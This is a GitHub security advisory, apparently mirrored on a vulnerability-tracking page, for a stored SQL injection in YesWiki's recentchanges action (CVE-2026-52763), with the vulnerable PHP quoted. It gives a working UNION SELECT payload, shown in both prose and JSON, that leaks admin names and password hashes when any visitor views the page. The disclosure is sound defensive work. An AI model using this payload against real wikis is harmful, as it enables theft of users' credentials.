GHSA-89V6-J5X6-CMJ3

Vulnerability from github – Published: 2026-07-09 20:54 – Updated: 2026-07-09 20:54
VLAI
Summary
YesWiki: SQL injection via the `recentchanges` action `period` argument leads to arbitrary DB read
Details

Summary

The recentchanges action (actions/recentchanges.php) accepts a period argument from two disjoint parameter spaces: the URL query string ($_GET['period']) and the action invocation {{recentchanges period="..."}}. A whitelist at line 17 validates only the URL form against ['day','week','month']. The action-argument form takes the else branch at line 33 ($dateMin = $this->GetParameter('period')) with no validation, and the value flows into PageManager::getRecentlyChanged() (includes/services/PageManager.php:196), where it is interpolated into a WHERE time >= '...' ORDER BY time DESC clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via actions/recentchanges.php:43,58 (ComposeLinkToPage($page['tag'])), so any visitor of the trigger page sees the exfiltrated data.

The vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (default_write_acl='*'), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.

Details

Two issues compose the vulnerability.

  1. actions/recentchanges.php line 33 reads the action argument and skips the whitelist.

php if (isset($_GET['period']) && in_array($_GET['period'], ['day', 'week', 'month'])) { switch ($_GET['period']) { case 'day': $d = strtotime('-1 day'); $dateMin = date('Y-m-d H:i:s', $d); break; case 'week': $d = strtotime('-1 week'); $dateMin = date('Y-m-d H:i:s', $d); break; case 'month': $d = strtotime('-1 month'); $dateMin = date('Y-m-d H:i:s', $d); break; } } else { $dateMin = $this->GetParameter('period'); }

Wiki::GetParameter() (includes/YesWiki.php:895) reads $this->parameter[$key], which is populated from the {{action key=value}} argument list — disjoint from $_GET. The whitelist's if branch only runs when $_GET['period'] matches one of three exact values; in every other case the else branch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent.

  1. In includes/services/PageManager.php, PageManager::getRecentlyChanged() interpolates the value into SQL.

php public function getRecentlyChanged($limit = 50, $minDate = ''): ?array { if (!empty($minDate)) { if ($pages = $this->dbService->loadAll( 'select id, tag, time, user, owner from' . $this->dbService->prefixTable('pages') . "where latest = 'Y' and comment_on = '' and time >= '$minDate' order by time desc" )) { return $pages; } } }

$minDate is interpolated raw into the query and there is no $this->dbService->escape($minDate) and no parameter binding and no format check.

The default action ACL for recentchanges is * (includes/YesWiki.php:1100, GetModuleACL), so Performer::CheckModuleACL('recentchanges', 'action') returns true for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious period argument.

PoC

Default fresh install so default_write_acl='*'. 1. place the SQLi payload on a page

{{recentchanges period="2000-01-01' UNION SELECT 9999 AS id, CONCAT('LEAK_', name, '_', SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name='AdminUser' -- "}}

The five UNION columns match the id, tag, time, user, owner projection that getRecentlyChanged selects. The tag column is rendered into the response as a hyperlink, exfiltrating the leaked data.

  1. anyone visits the page
GET /?<TriggerPage> HTTP/1.1
Host: target.example

The injected query executes server-side; the tag column is rendered into the page in actions/recentchanges.php:43,58 via ComposeLinkToPage($page['tag']).

Impact

Arbitrary read of any DB column the application's MySQL user can access.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T20:54:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `recentchanges` action (`actions/recentchanges.php`) accepts a `period` argument from two disjoint parameter spaces: the URL query string (`$_GET[\u0027period\u0027]`) and the action invocation `{{recentchanges period=\"...\"}}`. A whitelist at line 17 validates only the URL form against `[\u0027day\u0027,\u0027week\u0027,\u0027month\u0027]`. The action-argument form takes the `else` branch at line 33 (`$dateMin = $this-\u003eGetParameter(\u0027period\u0027)`) with no validation, and the value flows into `PageManager::getRecentlyChanged()` (`includes/services/PageManager.php:196`), where it is interpolated into a `WHERE time \u003e= \u0027...\u0027 ORDER BY time DESC` clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via `actions/recentchanges.php:43,58` (`ComposeLinkToPage($page[\u0027tag\u0027])`), so any visitor of the trigger page sees the exfiltrated data.\n\nThe vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (`default_write_acl=\u0027*\u0027`), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.\n\n### Details\n\nTwo issues compose the vulnerability.\n\n1. `actions/recentchanges.php` line 33 reads the action argument and skips the whitelist.\n\n   ```php\n   if (isset($_GET[\u0027period\u0027]) \u0026\u0026 in_array($_GET[\u0027period\u0027], [\u0027day\u0027, \u0027week\u0027, \u0027month\u0027])) {\n       switch ($_GET[\u0027period\u0027]) {\n           case \u0027day\u0027:   $d = strtotime(\u0027-1 day\u0027);   $dateMin = date(\u0027Y-m-d H:i:s\u0027, $d); break;\n           case \u0027week\u0027:  $d = strtotime(\u0027-1 week\u0027);  $dateMin = date(\u0027Y-m-d H:i:s\u0027, $d); break;\n           case \u0027month\u0027: $d = strtotime(\u0027-1 month\u0027); $dateMin = date(\u0027Y-m-d H:i:s\u0027, $d); break;\n       }\n   } else {\n       $dateMin = $this-\u003eGetParameter(\u0027period\u0027);   \n   }\n   ```\n\n   `Wiki::GetParameter()` (`includes/YesWiki.php:895`) reads `$this-\u003eparameter[$key]`, which is populated from the `{{action key=value}}` argument list \u2014 disjoint from `$_GET`. The whitelist\u0027s `if` branch only runs when `$_GET[\u0027period\u0027]` matches one of three exact values; in every other case the `else` branch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent.\n\n2.  In `includes/services/PageManager.php`, `PageManager::getRecentlyChanged()` interpolates the value into SQL.\n\n   ```php\n   public function getRecentlyChanged($limit = 50, $minDate = \u0027\u0027): ?array\n   {\n       if (!empty($minDate)) {\n           if ($pages = $this-\u003edbService-\u003eloadAll(\n               \u0027select id, tag, time, user, owner from\u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027)\n               . \"where latest = \u0027Y\u0027 and comment_on = \u0027\u0027 and time \u003e= \u0027$minDate\u0027 order by time desc\"\n           )) {\n               return $pages;\n           }\n       }\n   }\n   ```\n\n   `$minDate` is interpolated raw into the query and there is no `$this-\u003edbService-\u003eescape($minDate)` and no parameter binding and no format check.\n\nThe default action ACL for `recentchanges` is `*` (`includes/YesWiki.php:1100`, `GetModuleACL`), so `Performer::CheckModuleACL(\u0027recentchanges\u0027, \u0027action\u0027)` returns `true` for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious `period` argument.\n\n### PoC\n\nDefault fresh install so `default_write_acl=\u0027*\u0027`.\n1. place the SQLi payload on a page\n\n```\n{{recentchanges period=\"2000-01-01\u0027 UNION SELECT 9999 AS id, CONCAT(\u0027LEAK_\u0027, name, \u0027_\u0027, SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name=\u0027AdminUser\u0027 -- \"}}\n```\n\nThe five UNION columns match the `id, tag, time, user, owner` projection that `getRecentlyChanged` selects. The `tag` column is rendered into the response as a hyperlink, exfiltrating the leaked data.\n\n2. anyone visits the page\n\n```http\nGET /?\u003cTriggerPage\u003e HTTP/1.1\nHost: target.example\n```\n\nThe injected query executes server-side; the `tag` column is rendered into the page in `actions/recentchanges.php:43,58` via `ComposeLinkToPage($page[\u0027tag\u0027])`.\n\n### Impact\n\nArbitrary read of any DB column the application\u0027s MySQL user can access.",
  "id": "GHSA-89v6-j5x6-cmj3",
  "modified": "2026-07-09T20:54:46Z",
  "published": "2026-07-09T20:54:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-89v6-j5x6-cmj3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/5da27474c3ee62270c8a6b9d7055d494cdbd38e5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki: SQL injection via the `recentchanges` action `period` argument leads to arbitrary DB read"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…